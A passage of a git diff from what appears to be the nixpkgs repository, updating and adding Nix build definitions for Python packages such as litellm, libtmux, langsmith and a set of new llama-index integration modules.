version = "0.0.83"; + version = "0.1.22"; pyproject = true; disabled = pythonOlder "3.8"; @@ -21,21 +24,28 @@ buildPythonPackage rec { owner = "langchain-ai"; repo = "langsmith-sdk"; rev = "refs/tags/v${version}"; - hash = "sha256-WRrwekh4pcn3I0U/A2Q91ePrRx2RUC3XX+z4bez0BzU="; + hash = "sha256-pxmlxx31bDojwEx7+UgMWS1jfhZufSeeCGOWpRp3y3M="; }; sourceRoot = "${src.name}/python"; + pythonRelaxDeps = [ + "orjson" + ]; + nativeBuildInputs = [ poetry-core + pythonRelaxDepsHook ]; propagatedBuildInputs = [ + orjson pydantic requests ]; nativeCheckInputs = [ + attr freezegun pytest-asyncio pytestCheckHook @@ -51,11 +61,17 @@ buildPythonPackage rec { "test_as_runnable_async_batch" # requires git repo "test_git_info" + # Tests require OpenAI API key + "test_chat_async_api" + "test_chat_sync_api" + "test_completions_async_api" + "test_completions_sync_api" ]; disabledTestPaths = [ # due to circular import "tests/integration_tests/test_client.py" + "tests/unit_tests/test_client.py" ]; pythonImportsCheck = [ diff --git a/pkgs/development/python-modules/ldfparser/default.nix b/pkgs/development/python-modules/ldfparser/default.nix index f4657dce8458e..4b83fb53252ea 100644 --- a/pkgs/development/python-modules/ldfparser/default.nix +++ b/pkgs/development/python-modules/ldfparser/default.nix @@ -12,7 +12,7 @@ buildPythonPackage rec { pname = "ldfparser"; - version = "0.23.0"; + version = "0.24.0"; pyproject = true; disabled = pythonOlder "3.7"; @@ -21,7 +21,7 @@ buildPythonPackage rec { owner = "c4deszes"; repo = "ldfparser"; rev = "refs/tags/v${version}"; - hash = "sha256-gSjTuMndkzFUDcixJCohuCChhztFXnLpbK/zTOjEBpg="; + hash = "sha256-+7L2WCQEDpWPDBPVt4ddoz0U4YkJ9GqQqp0cKj2fAXM="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/ledger-bitcoin/default.nix b/pkgs/development/python-modules/ledger-bitcoin/default.nix index c2ad7b47f6c10..8298da004ccff 100644 --- a/pkgs/development/python-modules/ledger-bitcoin/default.nix +++ b/pkgs/development/python-modules/ledger-bitcoin/default.nix @@ -11,13 +11,13 @@ buildPythonPackage rec { pname = "ledger-bitcoin"; - version = "0.2.2"; + version = "0.3.0"; format = "pyproject"; src = fetchPypi { inherit version; pname = "ledger_bitcoin"; - hash = "sha256-MEZuwIthIOwBkRdR7dEsEznO+GVBeOf7/5xmwNW1SvI="; + hash = "sha256-rZzerzOkVWK71brmdRAluGmi+B1usCZ90GKgH1klpNU="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/lexilang/default.nix b/pkgs/development/python-modules/lexilang/default.nix new file mode 100644 index 0000000000000..8577cb5211964 --- /dev/null +++ b/pkgs/development/python-modules/lexilang/default.nix @@ -0,0 +1,41 @@ +{ lib +, buildPythonPackage +, fetchFromGitHub +, setuptools +, pytestCheckHook +, python +}: + +buildPythonPackage rec { + pname = "lexilang"; + version = "1.0.1"; + pyproject = true; + + src = fetchFromGitHub { + owner = "LibreTranslate"; + repo = "LexiLang"; + rev = "v${version}"; + hash = "sha256-TLkaqCE9NDjN2XuYOUkeeWIRcqkxrdg31fS4mEnlcEo="; + }; + + nativeBuildInputs = [ + setuptools + ]; + + nativeCheckInputs = [ + pytestCheckHook + ]; + + checkPhase = '' + runHook preCheck + ${python.interpreter} test.py + runHook postCheck + ''; + + meta = with lib; { + description = "Simple, fast dictionary-based language detector for short texts"; + homepage = "https://github.com/LibreTranslate/LexiLang"; + license = licenses.agpl3Only; + maintainers = with maintainers; [ izorkin ]; + }; +} diff --git a/pkgs/development/python-modules/libarchive-c/default.nix b/pkgs/development/python-modules/libarchive-c/default.nix index 43f2e11ef3df3..da2f4525e3d63 100644 --- a/pkgs/development/python-modules/libarchive-c/default.nix +++ b/pkgs/development/python-modules/libarchive-c/default.nix @@ -10,14 +10,14 @@ buildPythonPackage rec { pname = "libarchive-c"; - version = "5.0"; + version = "5.1"; format = "setuptools"; src = fetchFromGitHub { owner = "Changaco"; repo = "python-${pname}"; rev = "refs/tags/${version}"; - sha256 = "sha256-8e3Tnek5q5NJneSVIrbFNTQPjHZ7Ieb14uiKjQwufTE="; + sha256 = "sha256-CO9llPIbVTuE74AeohrMAu5ICkuT/MorRlYEEFne6Uk="; }; LC_ALL="en_US.UTF-8"; diff --git a/pkgs/development/python-modules/libknot/default.nix b/pkgs/development/python-modules/libknot/default.nix index f79e4d638eba1..96f900f2dd355 100644 --- a/pkgs/development/python-modules/libknot/default.nix +++ b/pkgs/development/python-modules/libknot/default.nix @@ -11,12 +11,12 @@ buildPythonPackage rec { pname = "libknot"; - version = "3.3.4"; + version = "3.3.5"; pyproject = true; src = fetchPypi { inherit pname version; - hash = "sha256-KRxc34lqOGuYJM2mUsYrjfiVCQNBxcQyO30wPLf17+Q="; + hash = "sha256-nEeDawZ/kChHQA3qoEKy+R+Uy7ogNL3ows3Yzs5OhpY="; }; postPatch = '' diff --git a/pkgs/development/python-modules/libtmux/default.nix b/pkgs/development/python-modules/libtmux/default.nix index c0df7019ed963..fbccd1be73634 100644 --- a/pkgs/development/python-modules/libtmux/default.nix +++ b/pkgs/development/python-modules/libtmux/default.nix @@ -12,14 +12,14 @@ buildPythonPackage rec { pname = "libtmux"; - version = "0.25.0"; - format = "pyproject"; + version = "0.31.0"; + pyproject = true; src = fetchFromGitHub { owner = "tmux-python"; repo = pname; rev = "refs/tags/v${version}"; - hash = "sha256-cAogRdhJdXC0lMQRlWwSHQj205mG9uwd1XkFJYsAetA="; + hash = "sha256-MzHS/HzEZ4vDfNRpJ9AU9vFkw7LwloltxyibxEGWRSw="; }; postPatch = '' diff --git a/pkgs/development/python-modules/linear-garage-door/default.nix b/pkgs/development/python-modules/linear-garage-door/default.nix new file mode 100644 index 0000000000000..b57f8b0e47afd --- /dev/null +++ b/pkgs/development/python-modules/linear-garage-door/default.nix @@ -0,0 +1,55 @@ +{ lib +, aiohttp +, buildPythonPackage +, dnspython +, fetchFromGitHub +, poetry-core +, pythonOlder +, tenacity +}: + +buildPythonPackage rec { + pname = "linear-garage-door"; + version = "0.2.9"; + pyproject = true; + + disabled = pythonOlder "3.8"; + + src = fetchFromGitHub { + owner = "IceBotYT"; + repo = "linear-garage-door"; + rev = "refs/tags/${version}"; + hash = "sha256-hWWJgZnEItYaSxka7zBHPeVlTEiOqRnA2vg6/MvpJGE="; + }; + + postPatch = '' + sed -i pyproject.toml \ + -e "/--cov/d" \ + -e "/--no-cov/d" + ''; + + nativeBuildInputs = [ + poetry-core + ]; + + propagatedBuildInputs = [ + aiohttp + dnspython + tenacity + ]; + + # Module doesn't have tests + doCheck = false; + + pythonImportsCheck = [ + "linear_garage_door" + ]; + + meta = with lib; { + description = "Control Linear Garage Doors with Python"; + homepage = "https://github.com/IceBotYT/linear-garage-door"; + changelog = "https://github.com/IceBotYT/linear-garage-door/blob/${version}/CHANGELOG.md"; + license = licenses.mit; + maintainers = with maintainers; [ fab ]; + }; +} diff --git a/pkgs/development/python-modules/litellm/default.nix b/pkgs/development/python-modules/litellm/default.nix index d34dece547a90..b11a4ba49cc77 100644 --- a/pkgs/development/python-modules/litellm/default.nix +++ b/pkgs/development/python-modules/litellm/default.nix @@ -1,31 +1,48 @@ { lib +, aiohttp +, apscheduler +, azure-identity +, azure-keyvault-secrets +, backoff , buildPythonPackage +, click +, fastapi +, fastapi-sso , fetchFromGitHub -, poetry-core +, google-cloud-kms +, gunicorn , importlib-metadata +, jinja2 , openai +, orjson +, poetry-core +, prisma +, pyjwt , python-dotenv +, python-multipart +, pythonOlder +, pyyaml +, requests +, resend +, rq +, streamlit , tiktoken , tokenizers -, click -, jinja2 -, certifi -, appdirs -, aiohttp +, uvicorn }: -let - version = "1.23.0"; -in -buildPythonPackage { + +buildPythonPackage rec { pname = "litellm"; - inherit version; + version = "1.28.11"; pyproject = true; + disabled = pythonOlder "3.8"; + src = fetchFromGitHub { owner = "BerriAI"; repo = "litellm"; rev = "refs/tags/v${version}"; - hash = "sha256-Pl3Fet0TvGrNHNw4ssUMqa+UhzBYgqTydNfD96TeY7I="; + hash = "sha256-6RhJjrPS62f+qoNFQ8qRelZmA8Er9Myz8CF1c/fhBTc="; }; postPatch = '' @@ -37,18 +54,41 @@ buildPythonPackage { ]; propagatedBuildInputs = [ + aiohttp + click + importlib-metadata + jinja2 openai + requests python-dotenv tiktoken - importlib-metadata tokenizers - click - jinja2 - certifi - appdirs - aiohttp ]; + passthru.optional-dependencies = { + proxy = [ + apscheduler + backoff + fastapi + fastapi-sso + gunicorn + orjson + pyjwt + python-multipart + pyyaml + rq + uvicorn + ]; + extra_proxy = [ + azure-identity + azure-keyvault-secrets + google-cloud-kms + prisma + resend + streamlit + ]; + }; + # the import check phase fails trying to do a network request to openai # pythonImportsCheck = [ "litellm" ]; @@ -58,8 +98,8 @@ buildPythonPackage { meta = with lib; { description = "Use any LLM as a drop in replacement for gpt-3.5-turbo. Use Azure, OpenAI, Cohere, Anthropic, Ollama, VLLM, Sagemaker, HuggingFace, Replicate (100+ LLMs)"; homepage = "https://github.com/BerriAI/litellm"; - license = licenses.mit; changelog = "https://github.com/BerriAI/litellm/releases/tag/v${version}"; + license = licenses.mit; maintainers = with maintainers; [ happysalada ]; }; } diff --git a/pkgs/development/python-modules/livereload/default.nix b/pkgs/development/python-modules/livereload/default.nix index 2b99995f91ccd..5943671d6fc2b 100644 --- a/pkgs/development/python-modules/livereload/default.nix +++ b/pkgs/development/python-modules/livereload/default.nix @@ -1,8 +1,8 @@ { lib , buildPythonPackage , fetchFromGitHub -, nose , django +, pytestCheckHook , tornado , six }: @@ -23,13 +23,16 @@ buildPythonPackage rec { propagatedBuildInputs = [ tornado six ]; - nativeCheckInputs = [ nose ]; - # TODO: retry running all tests after v2.6.1 - checkPhase = "NOSE_EXCLUDE=test_watch_multiple_dirs nosetests -s"; + nativeCheckInputs = [ pytestCheckHook ]; + + disabledTests = [ + "test_watch_multiple_dirs" + ]; meta = { description = "Runs a local server that reloads as you develop"; homepage = "https://github.com/lepture/python-livereload"; license = lib.licenses.bsd3; + maintainers = with lib; [ ]; }; } diff --git a/pkgs/development/python-modules/llama-index-agent-openai/default.nix b/pkgs/development/python-modules/llama-index-agent-openai/default.nix new file mode 100644 index 0000000000000..5663e9f118289 --- /dev/null +++ b/pkgs/development/python-modules/llama-index-agent-openai/default.nix @@ -0,0 +1,30 @@ +{ lib +, buildPythonPackage +, fetchFromGitHub +, llama-index-core +, llama-index-llms-openai +, poetry-core +}: + +buildPythonPackage rec { + pname = "llama-index-agent-openai"; + + inherit (llama-index-core) version src meta; + + pyproject = true; + + sourceRoot = "${src.name}/llama-index-integrations/agent/${pname}"; + + nativeBuildInputs = [ + poetry-core + ]; + + propagatedBuildInputs = [ + llama-index-core + llama-index-llms-openai + ]; + + pythonImportsCheck = [ + "llama_index.agent.openai" + ]; +} diff --git a/pkgs/development/python-modules/llama-index-cli/default.nix b/pkgs/development/python-modules/llama-index-cli/default.nix new file mode 100644 index 0000000000000..de4aacdd5adcd --- /dev/null +++ b/pkgs/development/python-modules/llama-index-cli/default.nix @@ -0,0 +1,34 @@ +{ lib +, buildPythonPackage +, fetchFromGitHub +, llama-index-core +, llama-index-embeddings-openai +, llama-index-llms-openai +, llama-index-vector-stores-chroma +, poetry-core +}: + +buildPythonPackage rec { + pname = "llama-index-cli"; + + inherit (llama-index-core) version src meta; + + pyproject = true; + + sourceRoot = "${src.name}/${pname}"; + + nativeBuildInputs = [ + poetry-core + ]; + + propagatedBuildInputs = [ + llama-index-core + llama-index-embeddings-openai + llama-index-llms-openai + llama-index-vector-stores-chroma + ]; + + pythonImportsCheck = [ + "llama_index.cli" + ]; +} diff --git a/pkgs/development/python-modules/llama-index-core/default.nix b/pkgs/development/python-modules/llama-index-core/default.nix new file mode 100644 index 0000000000000..96b5b4a41b5e5 --- /dev/null +++ b/pkgs/development/python-modules/llama-index-core/default.nix @@ -0,0 +1,115 @@ +{ lib +, aiohttp +, buildPythonPackage +, dataclasses-json +, deprecated +, dirtyjson +, fetchFromGitHub +, fsspec +, llamaindex-py-client +, nest-asyncio +, networkx +, nltk +, numpy +, openai +, pandas +, pillow +, poetry-core +, pytest-asyncio +, pytest-mock +, pytestCheckHook +, pythonOlder +, pyyaml +, requests +, tree-sitter +, sqlalchemy +, tenacity +, tiktoken +, typing-inspect +}: + +buildPythonPackage rec { + pname = "llama-index-core"; + version = "0.10.17"; + pyproject = true; + + disabled = pythonOlder "3.8"; + + src = fetchFromGitHub { + owner = "run-llama"; + repo = "llama_index"; + rev = "refs/tags/v${version}"; + hash = "sha256-RxBALghAXVs6nn1ITdU/sDp9QU/kJAy7GdFxjE592lI="; + }; + + sourceRoot = "${src.name}/${pname}"; + + nativeBuildInputs = [ + poetry-core + ]; + + propagatedBuildInputs = [ + aiohttp + dataclasses-json + deprecated + dirtyjson + fsspec + llamaindex-py-client + nest-asyncio + networkx + nltk + numpy + openai + pandas + pillow + pyyaml + requests + sqlalchemy + tenacity + tiktoken + typing-inspect + ]; + + nativeCheckInputs = [ + tree-sitter + pytest-asyncio + pytest-mock + pytestCheckHook + ]; + + pythonImportsCheck = [ + "llama_index" + ]; + + disabledTestPaths = [ + # Tests require network access + "tests/agent/" + "tests/callbacks/" + "tests/chat_engine/" + "tests/evaluation/" + "tests/indices/" + "tests/ingestion/" + "tests/memory/" + "tests/node_parser/" + "tests/objects/" + "tests/playground/" + "tests/postprocessor/" + "tests/query_engine/" + "tests/question_gen/" + "tests/response_synthesizers/" + "tests/retrievers/" + "tests/selectors/" + "tests/test_utils.py" + "tests/text_splitter/" + "tests/token_predictor/" + "tests/tools/" + ]; + + meta = with lib; { + description = "Data framework for your LLM applications"; + homepage = "https://github.com/run-llama/llama_index/"; + changelog = "https://github.com/run-llama/llama_index/blob/${version}/CHANGELOG.md"; + license = licenses.mit; + maintainers = with maintainers; [ fab ]; + }; +} diff --git a/pkgs/development/python-modules/llama-index-embeddings-gemini/default.nix b/pkgs/development/python-modules/llama-index-embeddings-gemini/default.nix new file mode 100644 index 0000000000000..6b371c8169834 --- /dev/null +++ b/pkgs/development/python-modules/llama-index-embeddings-gemini/default.nix @@ -0,0 +1,36 @@ +{ lib +, buildPythonPackage +, fetchFromGitHub +, google-generativeai +, llama-index-core +, poetry-core +, pytestCheckHook +}: + +buildPythonPackage rec { + pname = "llama-index-embeddings-gemini"; + version = "0.1.3"; + + inherit (llama-index-core) src meta; + + pyproject = true; + + sourceRoot = "${src.name}/llama-index-integrations/embeddings/${pname}"; + + nativeBuildInputs = [ + poetry-core + ]; + + propagatedBuildInputs = [ + google-generativeai + llama-index-core + ]; + + nativeCheckInputs = [ + pytestCheckHook + ]; + + pythonImportsCheck = [ + "llama_index.embeddings.gemini" + ]; +} diff --git a/pkgs/development/python-modules/llama-index-embeddings-google/default.nix b/pkgs/development/python-modules/llama-index-embeddings-google/default.nix new file mode 100644 index 0000000000000..6cf2d1772163a --- /dev/null +++ b/pkgs/development/python-modules/llama-index-embeddings-google/default.nix @@ -0,0 +1,30 @@ +{ lib +, buildPythonPackage +, fetchFromGitHub +, google-generativeai +, llama-index-core +, poetry-core +}: + +buildPythonPackage rec { + pname = "llama-index-embeddings-google"; + + inherit (llama-index-core) version src meta; + + pyproject = true; + + sourceRoot = "${src.name}/llama-index-integrations/embeddings/${pname}"; + + nativeBuildInputs = [ + poetry-core + ]; + + propagatedBuildInputs = [ + google-generativeai + llama-index-core + ]; + + pythonImportsCheck = [ + "llama_index.embeddings.google" + ]; +} diff --git a/pkgs/development/python-modules/llama-index-embeddings-openai/default.nix b/pkgs/development/python-modules/llama-index-embeddings-openai/default.nix new file mode 100644 index 0000000000000..41e3843220f5d --- /dev/null +++ b/pkgs/development/python-modules/llama-index-embeddings-openai/default.nix @@ -0,0 +1,28 @@ +{ lib +, buildPythonPackage +, fetchFromGitHub +, llama-index-core +, poetry-core +}: + +buildPythonPackage rec { + pname = "llama-index-embeddings-openai"; + + inherit (llama-index-core) version src meta; + + pyproject = true; + + sourceRoot = "${src.name}/llama-index-integrations/embeddings/${pname}"; + + nativeBuildInputs = [ + poetry-core + ]; + + propagatedBuildInputs = [ + llama-index-core + ]; + + pythonImportsCheck = [ + "llama_index.embeddings.openai" + ]; +} diff --git a/pkgs/development/python-modules/llama-index-indices-managed-llama-cloud/default.nix b/pkgs/development/python-modules/llama-index-indices-managed-llama-cloud/default.nix new file mode 100644 index 0000000000000..c778fb0e0512a --- /dev/null +++ b/pkgs/development/python-modules/llama-index-indices-managed-llama-cloud/default.nix @@ -0,0 +1,28 @@ +{ lib +, buildPythonPackage +, fetchFromGitHub +, poetry-core +, llama-index-core +}: + +buildPythonPackage rec { + pname = "llama-index-indices-managed-llama-cloud"; + + inherit (llama-index-core) version src meta; + + pyproject = true; + + sourceRoot = "${src.name}/llama-index-integrations/indices/${pname}"; + + nativeBuildInputs = [ + poetry-core + ]; + + propagatedBuildInputs = [ + llama-index-core + ]; + + pythonImportsCheck = [ + "llama_index.indices.managed.llama_cloud" + ]; +} diff --git a/pkgs/development/python-modules/llama-index-legacy/default.nix b/pkgs/development/python-modules/llama-index-legacy/default.nix new file mode 100644 index 0000000000000..e490c3db7e88d --- /dev/null +++ b/pkgs/development/python-modules/llama-index-legacy/default.nix @@ -0,0 +1,24 @@ +{ lib +, buildPythonPackage +, fetchFromGitHub +, poetry-core +, llama-index-core +}: + +buildPythonPackage rec { + pname = "llama-index-legacy"; + + inherit (llama-index-core) version src meta; + + pyproject = true; + + sourceRoot = "${src.name}/${pname}"; + + nativeBuildInputs = [ + poetry-core + ]; + + propagatedBuildInputs = [ + llama-index-core + ]; +} diff --git a/pkgs/development/python-modules/llama-index-llms-openai/default.nix b/pkgs/development/python-modules/llama-index-llms-openai/default.nix new file mode 100644 index 0000000000000..c0b10abd02510 --- /dev/null +++ b/pkgs/development/python-modules/llama-index-llms-openai/default.nix @@ -0,0 +1,28 @@ +{ lib +, buildPythonPackage +, fetchFromGitHub +, poetry-core +, llama-index-core +}: + +buildPythonPackage rec { + pname = "llama-index-llms-openai"; + + inherit (llama-index-core) version src meta; + + pyproject = true; + + sourceRoot = "${src.name}/llama-index-integrations/llms/${pname}"; + + nativeBuildInputs = [ + poetry-core + ]; + + propagatedBuildInputs = [ + llama-index-core + ]; + + pythonImportsCheck = [ + "llama_index.llms.openai" + ]; +} diff --git a/pkgs/development/python-modules/llama-index-multi-modal-llms-openai/default.nix b/pkgs/development/python-modules/llama-index-multi-modal-llms-openai/default.nix new file mode 100644 index 0000000000000..825b001f5c613 --- /dev/null +++ b/pkgs/development/python-modules/llama-index-multi-modal-llms-openai/default.nix @@ -0,0 +1,30 @@ +{ lib +, buildPythonPackage +, fetchFromGitHub +, llama-index-core +, llama-index-llms-openai +, poetry-core +}: + +buildPythonPackage rec { + pname = "llama-index-multi-modal-llms-openai"; + + inherit (llama-index-core) version src meta; + + pyproject = true; + + sourceRoot = "${src.name}/llama-index-integrations/multi_modal_llms/${pname}"; + + nativeBuildInputs = [ + poetry-core + ]; + + propagatedBuildInputs = [ + llama-index-core + llama-index-llms-openai + ]; + + pythonImportsCheck = [ + "llama_index.multi_modal_llms.openai" + ]; +} diff --git a/pkgs/development/python-modules/llama-index-program-openai/default.nix b/pkgs/development/python-modules/llama-index-program-openai/default.nix new file mode 100644 index 0000000000000..d30bb7fb709ca --- /dev/null +++ b/pkgs/development/python-modules/llama-index-program-openai/default.nix @@ -0,0 +1,32 @@ +{ lib +, buildPythonPackage +, fetchFromGitHub +, llama-index-agent-openai +, llama-index-core +, llama-index-llms-openai +, poetry-core +}: + +buildPythonPackage rec { + pname = "llama-index-program-openai"; + + inherit (llama-index-core) version src meta; + + pyproject = true; + + sourceRoot = "${src.name}/llama-index-integrations/program/${pname}"; + + nativeBuildInputs = [ + poetry-core + ]; + + propagatedBuildInputs = [ + llama-index-agent-openai + llama-index-core + llama-index-llms-openai + ]; + + pythonImportsCheck = [ + "llama_index.program.openai" + ]; +} diff --git a/pkgs/development/python-modules/llama-index-question-gen-openai/default.nix b/pkgs/development/python-modules/llama-index-question-gen-openai/default.nix new file mode 100644 index 0000000000000..a1dadcd941f84 --- /dev/null +++ b/pkgs/development/python-modules/llama-index-question-gen-openai/default.nix @@ -0,0 +1,32 @@ +{ lib +, buildPythonPackage +, fetchFromGitHub +, llama-index-core +, llama-index-llms-openai +, llama-index-program-openai +, poetry-core +}: + +buildPythonPackage rec { + pname = "llama-index-question-gen-openai"; + + inherit (llama-index-core) version src meta; + + pyproject = true; + + sourceRoot = "${src.name}/llama-index-integrations/question_gen/${pname}"; + + nativeBuildInputs = [ + poetry-core + ]; + + propagatedBuildInputs = [ + llama-index-core + llama-index-llms-openai + llama-index-program-openai + ]; + + pythonImportsCheck = [ + "llama_index.question_gen.openai" + ]; +} diff --git a/pkgs/development/python-modules/llama-index-readers-file/default.nix b/pkgs/development/python-modules/llama-index-readers-file/default.nix new file mode 100644 index 0000000000000..4c5503c66071f --- /dev/null +++ b/pkgs/development/python-modules/llama-index-readers-file/default.nix @@ -0,0 +1,52 @@ +{ lib +, beautifulsoup4 +, buildPythonPackage +, fetchFromGitHub +, llama-index-core +, poetry-core +, pymupdf +, pypdf +, pytestCheckHook +, pythonRelaxDepsHook +}: + +buildPythonPackage rec { + pname = "llama-index-readers-file"; + version = "0.1.7"; + + inherit (llama-index-core) src meta; + + pyproject = true; + + sourceRoot = "${src.name}/llama-index-integrations/readers/${pname}"; + + pythonRelaxDeps = [ + "beautifulsoup4" + "pymupdf" + "pypdf" + ]; + + pythonRemoveDeps = [ + "bs4" + ]; + + nativeBuildInputs = [ + poetry-core + pythonRelaxDepsHook + ]; + + propagatedBuildInputs = [ + beautifulsoup4 + llama-index-core + pymupdf + pypdf + ]; + + nativeCheckInputs = [ + pytestCheckHook + ]; + + pythonImportsCheck = [ + "llama_index.readers.file" + ]; +} diff --git a/pkgs/development/python-modules/llama-index-readers-json/default.nix b/pkgs/development/python-modules/llama-index-readers-json/default.nix new file mode 100644 index 0000000000000..c29dcd78c4337 --- /dev/null +++ b/pkgs/development/python-modules/llama-index-readers-json/default.nix @@ -0,0 +1,34 @@ +{ lib +, buildPythonPackage +, fetchFromGitHub +, llama-index-core +, poetry-core +, pytestCheckHook +}: + +buildPythonPackage rec { + pname = "llama-index-readers-json"; + version = "0.1.2"; + + inherit (llama-index-core) src meta; + + pyproject = true; + + sourceRoot = "${src.name}/llama-index-integrations/readers/${pname}"; + + nativeBuildInputs = [ + poetry-core + ]; + + propagatedBuildInputs = [ + llama-index-core + ]; + + nativeCheckInputs = [ + pytestCheckHook + ]; + + pythonImportsCheck = [ + "llama_index.readers.json" + ]; +} diff --git a/pkgs/development/python-modules/llama-index-readers-llama-parse/default.nix b/pkgs/development/python-modules/llama-index-readers-llama-parse/default.nix new file mode 100644 index 0000000000000..b9dfde0273e22 --- /dev/null +++ b/pkgs/development/python-modules/llama-index-readers-llama-parse/default.nix @@ -0,0 +1,30 @@ +{ lib +, buildPythonPackage +, fetchFromGitHub +, llama-index-core +, llama-parse +, poetry-core +}: + +buildPythonPackage rec { + pname = "llama-index-readers-llama-parse"; + + inherit (llama-index-core) version src meta; + + pyproject = true; + + sourceRoot = "${src.name}/llama-index-integrations/readers/${pname}"; + + nativeBuildInputs = [ + poetry-core + ]; + + propagatedBuildInputs = [ + llama-parse + llama-index-core + ]; + + pythonImportsCheck = [ + "llama_index.readers.llama_parse" + ]; +} diff --git a/pkgs/development/python-modules/llama-index-readers-weather/default.nix b/pkgs/development/python-modules/llama-index-readers-weather/default.nix new file mode 100644 index 0000000000000..773c737f342dd --- /dev/null +++ b/pkgs/development/python-modules/llama-index-readers-weather/default.nix @@ -0,0 +1,36 @@ +{ lib +, buildPythonPackage +, fetchFromGitHub +, llama-index-core +, poetry-core +, pyowm +, pytestCheckHook +}: + +buildPythonPackage rec { + pname = "llama-index-readers-weather"; + version = "0.1.4"; + + inherit (llama-index-core) src meta; + + pyproject = true; + + sourceRoot = "${src.name}/llama-index-integrations/readers/${pname}"; + + nativeBuildInputs = [ + poetry-core + ]; + + propagatedBuildInputs = [ + llama-index-core + pyowm + ]; + + nativeCheckInputs = [ + pytestCheckHook + ]; + + pythonImportsCheck = [ + "llama_index.readers.weather" + ]; +} diff --git a/pkgs/development/python-modules/llama-index-vector-stores-chroma/default.nix b/pkgs/development/python-modules/llama-index-vector-stores-chroma/default.nix new file mode 100644 index 0000000000000..62e89093066d7 --- /dev/null +++ b/pkgs/development/python-modules/llama-index-vector-stores-chroma/default.nix @@ -0,0 +1,41 @@ +{ lib +, buildPythonPackage +, chromadb +, fetchFromGitHub +, llama-index-core +, onnxruntime +, poetry-core +, pythonRelaxDepsHook +, tokenizers +}: + +buildPythonPackage rec { + pname = "llama-index-vector-stores-chroma"; + + inherit (llama-index-core) version src meta; + + pyproject = true; + + sourceRoot = "${src.name}/llama-index-integrations/vector_stores/${pname}"; + + pythonRelaxDeps = [ + "onnxruntime" + "tokenizers" + ]; + + nativeBuildInputs = [ + poetry-core + pythonRelaxDepsHook + ]; + + propagatedBuildInputs = [ + chromadb + llama-index-core + onnxruntime + tokenizers + ]; + + pythonImportsCheck = [ + "llama_index.vector_stores.chroma" + ]; +} diff --git a/pkgs/development/python-modules/llama-index/default.nix b/pkgs/development/python-modules/llama-index/default.nix new file mode 100644 index 0000000000000..4e269039722fb --- /dev/null +++ b/pkgs/development/python-modules/llama-index/default.nix @@ -0,0 +1,47 @@ +{ lib +, buildPythonPackage +, llama-index-agent-openai +, llama-index-cli +, llama-index-core +, llama-index-embeddings-openai +, llama-index-indices-managed-llama-cloud +, llama-index-legacy +, llama-index-llms-openai +, llama-index-multi-modal-llms-openai +, llama-index-program-openai +, llama-index-question-gen-openai +, llama-index-readers-file +, llama-index-readers-llama-parse +, poetry-core +}: + +buildPythonPackage rec { + pname = "llama-index"; + + inherit (llama-index-core) version src meta; + + pyproject = true; + + nativeBuildInputs = [ + poetry-core + ]; + + propagatedBuildInputs = [ + llama-index-agent-openai + llama-index-cli + llama-index-core + llama-index-embeddings-openai + llama-index-indices-managed-llama-cloud + llama-index-legacy + llama-index-llms-openai + llama-index-multi-modal-llms-openai + llama-index-program-openai + llama-index-question-gen-openai + llama-index-readers-file + llama-index-readers-llama-parse + ]; + + pythonImportsCheck = [ + "llama_index" + ]; +} diff --git a/pkgs/development/python-modules/llama-parse/default.nix b/pkgs/development/python-modules/llama-parse/default.nix new file mode 100644 index 0000000000000..dd03d12d827ab --- /dev/null +++ b/pkgs/development/python-modules/llama-parse/default.nix @@ -0,0 +1,40 @@ +{ lib +, buildPythonPackage +, fetchPypi +, llama-index-core +, poetry-core +, pythonOlder +}: + +buildPythonPackage rec { + pname = "llama-parse"; + version = "0.3.7"; + pyproject = true; + + disabled = pythonOlder "3.8"; + + src = fetchPypi { + pname = "llama_parse"; + inherit version; + hash = "sha256-MXBqYQ0ocpwrR0FFXJqcHt9HEXG0udKnE4qgZGVnEqY="; + }; + + nativeBuildInputs = [ + poetry-core + ]; + + propagatedBuildInputs = [ + llama-index-core + ]; + + pythonImportsCheck = [ + "llama_parse" + ]; + + meta = with lib; { + description = "Parse files into RAG-Optimized formats"; + homepage = "https://pypi.org/project/llama-parse/"; + license = licenses.mit; + maintainers = with maintainers; [ fab ]; + }; +} diff --git a/pkgs/development/python-modules/llamaindex-py-client/default.nix b/pkgs/development/python-modules/llamaindex-py-client/default.nix new file mode 100644 index 0000000000000..d46e070c9517e --- /dev/null +++ b/pkgs/development/python-modules/llamaindex-py-client/default.nix @@ -0,0 +1,45 @@ +{ lib +, buildPythonPackage +, fetchPypi +, httpx +, poetry-core +, pydantic +, pythonOlder +}: + +buildPythonPackage rec { + pname = "llamaindex-py-client"; + version = "0.1.13"; + pyproject = true; + + disabled = pythonOlder "3.8"; + + src = fetchPypi { + pname = "llamaindex_py_client"; + inherit version; + hash = "sha256-O9m0Ne4KeBceukEt6lZ02BPrW/NuV308fH6Q7cVJANk="; + }; + + nativeBuildInputs = [ + poetry-core + ]; + + propagatedBuildInputs = [ + httpx + pydantic + ]; + + # Module has no tests + doCheck = false; + + pythonImportsCheck = [ + "llama_index_client" + ]; + + meta = with lib; { + description = "Client for LlamaIndex"; + homepage = "https://pypi.org/project/llamaindex-py-client/"; + license = licenses.mit; + maintainers = with maintainers; [ fab ]; + }; +} diff --git a/pkgs/development/python-modules/llm/default.nix b/pkgs/development/python-modules/llm/default.nix index 318f673533089..5626da5e3858e 100644 --- a/pkgs/development/python-modules/llm/default.nix +++ b/pkgs/development/python-modules/llm/default.nix @@ -1,27 +1,27 @@ -{ - buildPythonApplication, - buildPythonPackage, - fetchFromGitHub, - lib, - makeWrapper, - pytestCheckHook, - python3, - pythonOlder, - ruff, - setuptools, -}: let +{ lib +, buildPythonApplication +, buildPythonPackage +, fetchFromGitHub +, makeWrapper +, pytestCheckHook +, python3 +, pythonOlder +, ruff +, setuptools +}: +let llm = buildPythonPackage rec { pname = "llm"; - version = "0.12"; + version = "0.13.1"; pyproject = true; disabled = pythonOlder "3.8"; src = fetchFromGitHub { owner = "simonw"; - repo = pname; + repo = "llm"; rev = "refs/tags/${version}"; - hash = "sha256-aCqdw2co/cXrBwVY/k/aSLl3C22nlH5LvU2yir1/NnQ="; + hash = "sha256-Nq6pduzl8IK+nA3pctst/W4ux7+P6mBFTEHMF+vtBQw="; }; patches = [ @@ -36,6 +36,7 @@ click-default-group numpy openai + pip pluggy pydantic python-ulid @@ -48,8 +49,8 @@ nativeCheckInputs = with python3.pkgs; [ cogapp numpy + pytest-httpx pytestCheckHook - requests-mock ]; doCheck = true; diff --git 